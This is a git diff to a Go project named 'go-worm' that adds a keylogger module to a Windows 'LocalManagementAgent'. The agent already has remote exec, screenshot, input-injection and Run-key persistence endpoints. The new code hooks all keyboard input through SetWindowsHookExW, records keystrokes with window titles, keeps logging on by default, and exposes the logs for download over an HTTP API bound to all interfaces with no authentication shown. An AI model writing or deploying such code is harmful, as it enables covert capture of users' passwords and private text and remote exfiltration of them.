diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 66c706c..8fbdaf2 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -16,6 +16,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" "tea.chunkbyte.com/kato/go-worm/lib/instance" + "tea.chunkbyte.com/kato/go-worm/lib/keylog" ) type Agent struct { @@ -44,10 +45,14 @@ func New() (*Agent, error) { } a.guard = guard input.EnableDPIAwareness() + if err := keylog.Start(); err != nil { + helpers.Log.Printf("keylog start: %v", err) + } return a, nil } func (a *Agent) Close() { + keylog.Stop() if a.guard != nil { a.guard.Close() } @@ -67,6 +72,8 @@ func (a *Agent) Serve() error { mux.HandleFunc("/api/v1/startup", a.handleStartup) mux.HandleFunc("/api/v1/input/click", a.handleClick) mux.HandleFunc("/api/v1/input/text", a.handleText) + mux.HandleFunc("/api/v1/keylog", a.handleKeylog) + mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload) a.server = &http.Server{ Addr: a.addr, diff --git a/lib/agent/handlers.go b/lib/agent/handlers.go index ad9114b..b2a6792 100644 --- a/lib/agent/handlers.go +++ b/lib/agent/handlers.go @@ -19,6 +19,7 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/files" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/input" + "tea.chunkbyte.com/kato/go-worm/lib/keylog" "tea.chunkbyte.com/kato/go-worm/lib/models" "tea.chunkbyte.com/kato/go-worm/lib/screenshot" "tea.chunkbyte.com/kato/go-worm/lib/startup" @@ -48,6 +49,8 @@ func (a *Agent) handleOpenAPI(w http.ResponseWriter, r *http.Request) { "/api/v1/startup": map[string]any{"post": map[string]string{"summary": "Add to Windows startup"}, "delete": map[string]string{"summary": "Remove from Windows startup"}}, "/api/v1/input/click": map[string]any{"post": map[string]string{"summary": "Click the desktop"}}, "/api/v1/input/text": map[string]any{"post": map[string]string{"summary": "Type text into the focused field"}}, + "/api/v1/keylog": map[string]any{"get": map[string]string{"summary": "List keystroke log files"}}, + "/api/v1/keylog/download": map[string]any{"get": map[string]string{"summary": "Download a keystroke log file"}}, }, }) } @@ -324,3 +327,61 @@ func (a *Agent) handleExec(w http.ResponseWriter, r *http.Request) { } helpers.WriteJSON(w, http.StatusOK, result) } + +func (a *Agent) handleKeylog(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + files, err := keylog.List() + if err != nil { + helpers.Log.Printf("keylog list: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not list keystroke logs") + return + } + dir, err := keylog.Dir() + if err != nil { + helpers.Log.Printf("keylog dir: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not resolve keystroke log directory") + return + } + if files == nil { + files = []keylog.FileInfo{} + } + helpers.WriteJSON(w, http.StatusOK, map[string]any{"directory": dir, "files": files}) +} + +func (a *Agent) handleKeylogDownload(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodGet { + helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed") + return + } + name := r.URL.Query().Get("file") + if name == "" { + helpers.WriteError(w, http.StatusBadRequest, "file is required") + return + } + if !keylog.ValidLogFilename(name) { + helpers.WriteError(w, http.StatusBadRequest, "invalid log file name") + return + } + file, info, err := keylog.Open(name) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + helpers.WriteError(w, http.StatusNotFound, "log file not found") + return + } + if errors.Is(err, os.ErrInvalid) { + helpers.WriteError(w, http.StatusBadRequest, "invalid log file name") + return + } + helpers.Log.Printf("keylog download: %v", err) + helpers.WriteError(w, http.StatusInternalServerError, "could not open log file") + return + } + defer file.Close() + w.Header().Set("Content-Type", "text/plain; charset=utf-8") + w.Header().Set("Content-Disposition", `attachment; filename="`+strings.ReplaceAll(filepath.Base(name), `"`, "'")+`"`) + w.Header().Set("Accept-Ranges", "bytes") + http.ServeContent(w, r, info.Name(), info.ModTime(), file) +} diff --git a/lib/agent/web/app.js b/lib/agent/web/app.js index 3b5aa67..26c8618 100644 --- a/lib/agent/web/app.js +++ b/lib/agent/web/app.js @@ -8,6 +8,8 @@ const shotGallery = document.getElementById("shot-gallery"); const execOut = document.getElementById("exec-out"); const execMeta = document.getElementById("exec-meta"); + const logMeta = document.getElementById("log-meta"); + const logRows = document.getElementById("log-rows"); const startupState = document.getElementById("startup-state"); const startupAdd = document.getElementById("startup-add"); const startupRemove = document.getElementById("startup-remove"); @@ -290,6 +292,31 @@ field.value = ""; } + async function listKeylogs() { + const res = await api("/api/v1/keylog"); + const data = await res.json(); + const files = data.files || []; + logMeta.textContent = `${files.length} files · ${data.directory || ""}`; + logRows.replaceChildren(); + for (const file of files) { + const tr = document.createElement("tr"); + const name = document.createElement("td"); + name.textContent = file.name; + const size = document.createElement("td"); + size.textContent = formatBytes(file.size || 0); + const modified = document.createElement("td"); + modified.textContent = file.modified_time ? new Date(file.modified_time).toLocaleString() : ""; + const action = document.createElement("td"); + const link = document.createElement("a"); + link.href = `/api/v1/keylog/download?file=${encodeURIComponent(file.name)}`; + link.download = file.name; + link.textContent = "Download"; + action.append(link); + tr.append(name, size, modified, action); + logRows.append(tr); + } + } + async function runCommand() { const command = document.getElementById("exec-command").value.trim(); const timeout = Number(document.getElementById("exec-timeout").value); @@ -314,6 +341,9 @@ if (button.dataset.tab !== "video") { stopVideo(); } + if (button.dataset.tab === "logs") { + listKeylogs().catch((err) => showError(err.message)); + } }); }); @@ -358,6 +388,9 @@ document.getElementById("exec-run").addEventListener("click", () => { runCommand().catch((err) => showError(err.message)); }); + document.getElementById("log-refresh").addEventListener("click", () => { + listKeylogs().catch((err) => showError(err.message)); + }); Promise.all([loadHealth(), loadStatus(), listFiles("")]).catch((err) => showError(err.message)); })(); diff --git a/lib/agent/web/index.html b/lib/agent/web/index.html index 117a6d3..ee59094 100644 --- a/lib/agent/web/index.html +++ b/lib/agent/web/index.html @@ -145,6 +145,7 @@ +
@@ -222,6 +223,19 @@


     
+
+
+

Keystroke logs

+ +
+

+ + + + + +
FileSizeModified
+
diff --git a/lib/config/config.go b/lib/config/config.go index 352e89f..08116ca 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -2,21 +2,26 @@ package config import ( "os" + "path/filepath" + "strconv" "strings" ) const ( - Version = "1.0.0" - DefaultAddr = "0.0.0.0:5032" - MutexName = "LocalManagementAgent_Mutex" - RequestBodyMax = 1 << 20 - MaxListEntries = 10000 - MaxImageQuality = 100 - DefaultExecTO = 30 - MaxExecTO = 120 - StartupValueName = "LocalManagementAgent" - StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` - MaxInputText = 4096 + Version = "1.0.0" + DefaultAddr = "0.0.0.0:5032" + MutexName = "LocalManagementAgent_Mutex" + RequestBodyMax = 1 << 20 + MaxListEntries = 10000 + MaxImageQuality = 100 + DefaultExecTO = 30 + MaxExecTO = 120 + StartupValueName = "LocalManagementAgent" + StartupRunKey = `Software\Microsoft\Windows\CurrentVersion\Run` + MaxInputText = 4096 + AppDataDir = "LocalManagementAgent" + KeylogSubdir = "keystrokes" + DefaultKeylogRetentionDays = 7 ) func EnvOr(name, fallback string) string { @@ -25,3 +30,32 @@ func EnvOr(name, fallback string) string { } return fallback } + +func KeylogEnabled() bool { + switch strings.ToLower(strings.TrimSpace(os.Getenv("KEYLOG_ENABLED"))) { + case "0", "false", "no", "off": + return false + default: + return true + } +} + +func KeylogRetentionDays() int { + raw := strings.TrimSpace(os.Getenv("KEYLOG_RETENTION_DAYS")) + if raw == "" { + return DefaultKeylogRetentionDays + } + days, err := strconv.Atoi(raw) + if err != nil || days < 0 { + return DefaultKeylogRetentionDays + } + return days +} + +func KeylogDir() (string, error) { + base, err := os.UserConfigDir() + if err != nil { + return "", err + } + return filepath.Join(base, AppDataDir, KeylogSubdir), nil +} diff --git a/lib/keylog/event.go b/lib/keylog/event.go new file mode 100644 index 0000000..3cd9b18 --- /dev/null +++ b/lib/keylog/event.go @@ -0,0 +1,16 @@ +package keylog + +import "time" + +type Event struct { + Time time.Time + Injected bool + Window string + Text string +} + +type FileInfo struct { + Name string `json:"name"` + Size int64 `json:"size"` + ModifiedTime time.Time `json:"modified_time"` +} diff --git a/lib/keylog/format.go b/lib/keylog/format.go new file mode 100644 index 0000000..d3c7cb9 --- /dev/null +++ b/lib/keylog/format.go @@ -0,0 +1,44 @@ +package keylog + +import ( + "fmt" + "path/filepath" + "regexp" + "strings" + "time" +) + +const hourBucketLayout = "2006-01-02-15" + +var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`) + +func HourBucket(t time.Time) string { + return t.Local().Format(hourBucketLayout) +} + +func LogFilename(bucket string) string { + return bucket + ".log" +} + +func ValidLogFilename(name string) bool { + return logFilenamePattern.MatchString(filepath.Base(name)) +} + +func normalizeWindow(window string) string { + window = strings.TrimSpace(window) + if window == "" { + return "?" + } + return window +} + +func eventSource(injected bool) string { + if injected { + return "injected" + } + return "user" +} + +func sectionHeader(source, window string) string { + return fmt.Sprintf("[%s · %s]\n", source, normalizeWindow(window)) +} diff --git a/lib/keylog/hook_stub.go b/lib/keylog/hook_stub.go new file mode 100644 index 0000000..ccad6da --- /dev/null +++ b/lib/keylog/hook_stub.go @@ -0,0 +1,14 @@ +//go:build !windows + +package keylog + +func startPlatform(writer *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error { + close(done) + return nil +} + +func stopPlatform() {} + +func initKeylog() error { + return nil +} diff --git a/lib/keylog/hook_windows.go b/lib/keylog/hook_windows.go new file mode 100644 index 0000000..9f628de --- /dev/null +++ b/lib/keylog/hook_windows.go @@ -0,0 +1,315 @@ +//go:build windows + +package keylog + +import ( + "fmt" + "sync" + "syscall" + "time" + "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +const ( + whKeyboardLL = 13 + wmKeydown = 0x0100 + wmKeyup = 0x0101 + wmSyskeydown = 0x0104 + wmSyskeyup = 0x0105 + wmQuit = 0x0012 + llkhfInjected = 0x10 +) + +var ( + user32 = syscall.NewLazyDLL("user32.dll") + procSetWindowsHookExW = user32.NewProc("SetWindowsHookExW") + procUnhookWindowsHookEx = user32.NewProc("UnhookWindowsHookEx") + procCallNextHookEx = user32.NewProc("CallNextHookEx") + procGetMessageW = user32.NewProc("GetMessageW") + procTranslateMessage = user32.NewProc("TranslateMessage") + procDispatchMessageW = user32.NewProc("DispatchMessageW") + procPostThreadMessageW = user32.NewProc("PostThreadMessageW") + procGetForegroundWindow = user32.NewProc("GetForegroundWindow") + procGetWindowTextW = user32.NewProc("GetWindowTextW") + procGetKeyboardState = user32.NewProc("GetKeyboardState") + procToUnicode = user32.NewProc("ToUnicode") +) + +type kbdLLHookStruct struct { + VkCode uint32 + ScanCode uint32 + Flags uint32 + Time uint32 + DwExtraInfo uintptr +} + +type msg struct { + HWnd uintptr + Message uint32 + WParam uintptr + LParam uintptr + Time uint32 + Pt struct { + X int32 + Y int32 + } +} + +type modifierState struct { + shiftL bool + shiftR bool + ctrl bool + alt bool +} + +func (m modifierState) shift() bool { + return m.shiftL || m.shiftR +} + +var ( + hookMu sync.Mutex + hookEvents chan Event + hookThreadID uint32 + hookMods modifierState + lastHWND uintptr + lastTitle string +) + +func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error { + hookEvents = events + ready := make(chan struct{}) + + go func() { + defer close(done) + _ = runHookThread(ready) + hookEvents = nil + hookThreadID = 0 + }() + + go func() { + select { + case <-ready: + case <-stop: + return + } + <-stop + threadID := hookThreadID + if threadID != 0 { + _, _, _ = procPostThreadMessageW.Call(uintptr(threadID), wmQuit, 0, 0) + } + }() + return nil +} + +func stopPlatform() {} + +func initKeylog() error { + dir, err := config.KeylogDir() + if err != nil { + return err + } + return PruneOldLogs(dir, config.KeylogRetentionDays()) +} + +func runHookThread(ready chan struct{}) error { + hookThreadID = windowsGetCurrentThreadId() + close(ready) + + hookProc := syscall.NewCallback(keyboardHookProc) + handle, _, err := procSetWindowsHookExW.Call(whKeyboardLL, hookProc, 0, 0) + if handle == 0 { + return err + } + defer procUnhookWindowsHookEx.Call(handle) + + var message msg + for { + ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&message)), 0, 0, 0) + switch int32(ret) { + case -1: + return fmt.Errorf("GetMessage failed") + case 0: + return nil + } + if message.Message == wmQuit { + return nil + } + _, _, _ = procTranslateMessage.Call(uintptr(unsafe.Pointer(&message))) + _, _, _ = procDispatchMessageW.Call(uintptr(unsafe.Pointer(&message))) + } +} + +func keyboardHookProc(code int, wParam, lParam uintptr) uintptr { + if code >= 0 { + kb := (*kbdLLHookStruct)(unsafe.Pointer(lParam)) + switch wParam { + case wmKeydown, wmSyskeydown: + if isModifierVK(kb.VkCode) { + hookMods.update(kb.VkCode, true) + } else if event, ok := decodeKeyEvent(kb, wParam == wmSyskeydown); ok { + select { + case hookEvents <- event: + default: + // ponytail: drop when full; upgrade path is larger buffer + } + } + case wmKeyup, wmSyskeyup: + if isModifierVK(kb.VkCode) { + hookMods.update(kb.VkCode, false) + } + } + } + ret, _, _ := procCallNextHookEx.Call(0, uintptr(code), wParam, lParam) + return ret +} + +func decodeKeyEvent(kb *kbdLLHookStruct, sysKey bool) (Event, bool) { + injected := kb.Flags&llkhfInjected != 0 + if injected && kb.VkCode == 0 && kb.ScanCode >= 32 && kb.ScanCode != 127 { + return Event{ + Time: time.Now(), + Injected: true, + Window: foregroundTitle(), + Text: string(rune(kb.ScanCode)), + }, true + } + + text, ok := appendText(kb.VkCode, kb.ScanCode, sysKey) + if !ok { + return Event{}, false + } + return Event{ + Time: time.Now(), + Injected: injected, + Window: foregroundTitle(), + Text: text, + }, true +} + +func isModifierVK(vk uint32) bool { + switch vk { + case 0x10, 0x11, 0x12, 0xA0, 0xA1, 0xA2, 0xA3, 0xA4, 0xA5: + return true + default: + return false + } +} + +func (m *modifierState) update(vk uint32, down bool) { + switch vk { + case 0xA0: + m.shiftL = down + case 0xA1: + m.shiftR = down + case 0x10: + m.shiftL = down + m.shiftR = down + case 0xA2, 0xA3, 0x11: + m.ctrl = down + case 0xA4, 0xA5, 0x12: + m.alt = down + } +} + +func appendText(vk, scanCode uint32, sysKey bool) (string, bool) { + if hookMods.ctrl || hookMods.alt { + return "", false + } + if text, ok := specialText(vk); ok { + return text, true + } + if char, ok := keyChar(vk, scanCode); ok { + return char, true + } + if sysKey && vk == 0x20 { + return " ", true + } + return "", false +} + +func specialText(vk uint32) (string, bool) { + switch vk { + case 0x0D: + return "\n", true + case 0x09: + return "\t", true + case 0x20: + return " ", true + default: + return "", false + } +} + +func keyChar(vk, scanCode uint32) (string, bool) { + var state [256]byte + ok, _, _ := procGetKeyboardState.Call(uintptr(unsafe.Pointer(&state[0]))) + if ok == 0 { + return "", false + } + applyHookMods(&state) + if vk < uint32(len(state)) { + state[vk] |= 0x80 + } + + var buf [8]uint16 + n, _, _ := procToUnicode.Call( + uintptr(vk), + uintptr(scanCode), + uintptr(unsafe.Pointer(&state[0])), + uintptr(unsafe.Pointer(&buf[0])), + uintptr(len(buf)), + 0, + ) + if n != 1 { + return "", false + } + r := rune(buf[0]) + if r < 32 || r == 127 { + return "", false + } + return string(r), true +} + +func applyHookMods(state *[256]byte) { + setDown := func(vk byte, down bool) { + if down { + state[vk] |= 0x80 + } else { + state[vk] &^= 0x80 + } + } + shift := hookMods.shift() + setDown(0x10, shift) + setDown(0xA0, hookMods.shiftL) + setDown(0xA1, hookMods.shiftR) +} + +func foregroundTitle() string { + hwnd, _, _ := procGetForegroundWindow.Call() + if hwnd == 0 { + lastHWND = 0 + lastTitle = "?" + return lastTitle + } + if hwnd == lastHWND && lastTitle != "" { + return lastTitle + } + lastHWND = hwnd + var buf [512]uint16 + n, _, _ := procGetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf))) + if n == 0 { + lastTitle = "?" + return lastTitle + } + lastTitle = syscall.UTF16ToString(buf[:n]) + return lastTitle +} + +func windowsGetCurrentThreadId() uint32 { + kernel32 := syscall.NewLazyDLL("kernel32.dll") + getCurrentThreadId := kernel32.NewProc("GetCurrentThreadId") + id, _, _ := getCurrentThreadId.Call() + return uint32(id) +} diff --git a/lib/keylog/keylog.go b/lib/keylog/keylog.go new file mode 100644 index 0000000..7e89613 --- /dev/null +++ b/lib/keylog/keylog.go @@ -0,0 +1,94 @@ +package keylog + +import ( + "sync" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +var ( + mu sync.Mutex + running bool + writer *Writer + events chan Event + stopCh chan struct{} + doneCh chan struct{} + writerWG sync.WaitGroup +) + +func Start() error { + if !config.KeylogEnabled() { + return nil + } + + mu.Lock() + defer mu.Unlock() + if running { + return nil + } + if err := initKeylog(); err != nil { + return err + } + dir, err := config.KeylogDir() + if err != nil { + return err + } + w, err := NewWriter(dir) + if err != nil { + return err + } + events = make(chan Event, 256) + stopCh = make(chan struct{}) + doneCh = make(chan struct{}) + + writerWG.Add(1) + go func() { + defer writerWG.Done() + for { + select { + case event := <-events: + _ = w.Write(event) + case <-stopCh: + _ = w.Close() + return + } + } + }() + + if err := startPlatform(w, events, stopCh, doneCh); err != nil { + close(stopCh) + writerWG.Wait() + events = nil + stopCh = nil + doneCh = nil + return err + } + + writer = w + running = true + return nil +} + +func Stop() { + mu.Lock() + if !running { + mu.Unlock() + return + } + stop := stopCh + done := doneCh + running = false + writer = nil + events = nil + stopCh = nil + doneCh = nil + mu.Unlock() + + if stop != nil { + close(stop) + } + writerWG.Wait() + if done != nil { + <-done + } +} diff --git a/lib/keylog/keylog_test.go b/lib/keylog/keylog_test.go new file mode 100644 index 0000000..63a03b6 --- /dev/null +++ b/lib/keylog/keylog_test.go @@ -0,0 +1,166 @@ +package keylog + +import ( + "os" + "path/filepath" + "strings" + "testing" + "time" +) + +func TestHourBucket(t *testing.T) { + t.Parallel() + when := time.Date(2026, 8, 28, 13, 45, 0, 0, time.FixedZone("EEST", 3*3600)) + if got := HourBucket(when); got != "2026-08-28-13" { + t.Fatalf("HourBucket() = %q, want 2026-08-28-13", got) + } +} + +func TestLogFilename(t *testing.T) { + t.Parallel() + if got := LogFilename("2026-08-28-13"); got != "2026-08-28-13.log" { + t.Fatalf("LogFilename() = %q", got) + } +} + +func TestValidLogFilename(t *testing.T) { + t.Parallel() + cases := map[string]bool{ + "2026-08-28-13.log": true, + "2026-01-01-00.log": true, + "../2026-08-28-13.log": true, + "notes.log": false, + "2026-08-28.log": false, + "2026-08-28-13.txt": false, + "": false, + } + for name, want := range cases { + if got := ValidLogFilename(name); got != want { + t.Fatalf("ValidLogFilename(%q) = %v, want %v", name, got, want) + } + } +} + +func TestSectionHeader(t *testing.T) { + t.Parallel() + got := sectionHeader("injected", "Notepad") + want := "[injected · Notepad]\n" + if got != want { + t.Fatalf("sectionHeader() = %q, want %q", got, want) + } +} + +func TestWriterTranscript(t *testing.T) { + dir := t.TempDir() + writer, err := NewWriter(dir) + if err != nil { + t.Fatalf("NewWriter: %v", err) + } + t.Cleanup(func() { _ = writer.Close() }) + + when := time.Date(2026, 8, 28, 13, 0, 0, 0, time.Local) + events := []Event{ + {Time: when, Window: "Cursor - main.go", Text: "hello"}, + {Time: when, Window: "Cursor - main.go", Text: " world"}, + {Time: when, Window: "Notepad", Injected: true, Text: "ai "}, + {Time: when, Window: "Notepad", Injected: true, Text: "typed"}, + } + for _, event := range events { + if err := writer.Write(event); err != nil { + t.Fatalf("Write: %v", err) + } + } + if err := writer.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + + data, err := os.ReadFile(filepath.Join(dir, LogFilename(HourBucket(when)))) + if err != nil { + t.Fatalf("read file: %v", err) + } + text := string(data) + wantParts := []string{ + "[user · Cursor - main.go]", + "hello world", + "[injected · Notepad]", + "ai typed", + } + for _, part := range wantParts { + if !strings.Contains(text, part) { + t.Fatalf("file = %q, missing %q", text, part) + } + } + if strings.Count(text, "[user · Cursor - main.go]") != 1 { + t.Fatalf("expected one user section header, got %q", text) + } +} + +func TestWriterRotation(t *testing.T) { + dir := t.TempDir() + writer, err := NewWriter(dir) + if err != nil { + t.Fatalf("NewWriter: %v", err) + } + t.Cleanup(func() { _ = writer.Close() }) + + zone := time.FixedZone("EEST", 3*3600) + first := time.Date(2026, 8, 28, 13, 59, 0, 0, zone) + second := time.Date(2026, 8, 28, 14, 0, 0, 0, zone) + + if err := writer.Write(Event{Time: first, Window: "Notepad", Text: "a"}); err != nil { + t.Fatalf("Write first: %v", err) + } + if err := writer.Write(Event{Time: second, Window: "Notepad", Text: "b"}); err != nil { + t.Fatalf("Write second: %v", err) + } + if err := writer.Close(); err != nil { + t.Fatalf("Close: %v", err) + } + + firstData, err := os.ReadFile(filepath.Join(dir, "2026-08-28-13.log")) + if err != nil { + t.Fatalf("read first file: %v", err) + } + secondData, err := os.ReadFile(filepath.Join(dir, "2026-08-28-14.log")) + if err != nil { + t.Fatalf("read second file: %v", err) + } + if !strings.Contains(string(firstData), "a") { + t.Fatalf("first file = %q", firstData) + } + if !strings.Contains(string(secondData), "b") { + t.Fatalf("second file = %q", secondData) + } +} + +func TestPruneOldLogs(t *testing.T) { + dir := t.TempDir() + oldPath := filepath.Join(dir, "2020-01-01-12.log") + newPath := filepath.Join(dir, "2026-08-28-13.log") + if err := os.WriteFile(oldPath, []byte("old"), 0o600); err != nil { + t.Fatalf("write old: %v", err) + } + if err := os.WriteFile(newPath, []byte("new"), 0o600); err != nil { + t.Fatalf("write new: %v", err) + } + oldTime := time.Now().AddDate(0, 0, -30) + if err := os.Chtimes(oldPath, oldTime, oldTime); err != nil { + t.Fatalf("Chtimes old: %v", err) + } + + if err := PruneOldLogs(dir, 7); err != nil { + t.Fatalf("PruneOldLogs: %v", err) + } + if _, err := os.Stat(oldPath); !os.IsNotExist(err) { + t.Fatalf("old file still present") + } + if _, err := os.Stat(newPath); err != nil { + t.Fatalf("new file missing: %v", err) + } +} + +func TestOpenValidation(t *testing.T) { + if _, _, err := Open("bad-name.log"); err != os.ErrInvalid { + t.Fatalf("Open bad-name.log = %v, want ErrInvalid", err) + } +} diff --git a/lib/keylog/list.go b/lib/keylog/list.go new file mode 100644 index 0000000..42c7060 --- /dev/null +++ b/lib/keylog/list.go @@ -0,0 +1,69 @@ +package keylog + +import ( + "os" + "path/filepath" + "sort" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +func Dir() (string, error) { + return config.KeylogDir() +} + +func List() ([]FileInfo, error) { + dir, err := Dir() + if err != nil { + return nil, err + } + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil, nil + } + return nil, err + } + var files []FileInfo + for _, entry := range entries { + if entry.IsDir() || !ValidLogFilename(entry.Name()) { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + files = append(files, FileInfo{ + Name: entry.Name(), + Size: info.Size(), + ModifiedTime: info.ModTime(), + }) + } + sort.Slice(files, func(i, j int) bool { + return files[i].ModifiedTime.After(files[j].ModifiedTime) + }) + return files, nil +} + +func Open(name string) (*os.File, os.FileInfo, error) { + if !ValidLogFilename(name) { + return nil, nil, os.ErrInvalid + } + dir, err := Dir() + if err != nil { + return nil, nil, err + } + path := filepath.Join(dir, filepath.Base(name)) + info, err := os.Stat(path) + if err != nil { + return nil, nil, err + } + if info.IsDir() { + return nil, nil, os.ErrInvalid + } + file, err := os.Open(path) + if err != nil { + return nil, nil, err + } + return file, info, nil +} diff --git a/lib/keylog/writer.go b/lib/keylog/writer.go new file mode 100644 index 0000000..8b1e797 --- /dev/null +++ b/lib/keylog/writer.go @@ -0,0 +1,110 @@ +package keylog + +import ( + "os" + "path/filepath" + "time" +) + +type Writer struct { + dir string + file *os.File + bucket string + curWindow string + curSource string +} + +func NewWriter(dir string) (*Writer, error) { + if err := os.MkdirAll(dir, 0o700); err != nil { + return nil, err + } + return &Writer{dir: dir}, nil +} + +func (w *Writer) Write(event Event) error { + if event.Text == "" { + return nil + } + bucket := HourBucket(event.Time) + if bucket != w.bucket { + if err := w.rotate(bucket); err != nil { + return err + } + } + + window := normalizeWindow(event.Window) + source := eventSource(event.Injected) + if window != w.curWindow || source != w.curSource { + if w.curWindow != "" { + if _, err := w.file.WriteString("\n\n"); err != nil { + return err + } + } + if _, err := w.file.WriteString(sectionHeader(source, window)); err != nil { + return err + } + w.curWindow = window + w.curSource = source + } + + _, err := w.file.WriteString(event.Text) + return err +} + +func (w *Writer) rotate(bucket string) error { + if w.file != nil { + if err := w.file.Close(); err != nil { + return err + } + w.file = nil + } + path := filepath.Join(w.dir, LogFilename(bucket)) + file, err := os.OpenFile(path, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + w.file = file + w.bucket = bucket + w.curWindow = "" + w.curSource = "" + return nil +} + +func (w *Writer) Close() error { + if w.file == nil { + return nil + } + err := w.file.Close() + w.file = nil + w.bucket = "" + w.curWindow = "" + w.curSource = "" + return err +} + +func PruneOldLogs(dir string, retentionDays int) error { + if retentionDays <= 0 { + return nil + } + cutoff := time.Now().AddDate(0, 0, -retentionDays) + entries, err := os.ReadDir(dir) + if err != nil { + if os.IsNotExist(err) { + return nil + } + return err + } + for _, entry := range entries { + if entry.IsDir() || !ValidLogFilename(entry.Name()) { + continue + } + info, err := entry.Info() + if err != nil { + continue + } + if info.ModTime().Before(cutoff) { + _ = os.Remove(filepath.Join(dir, entry.Name())) + } + } + return nil +}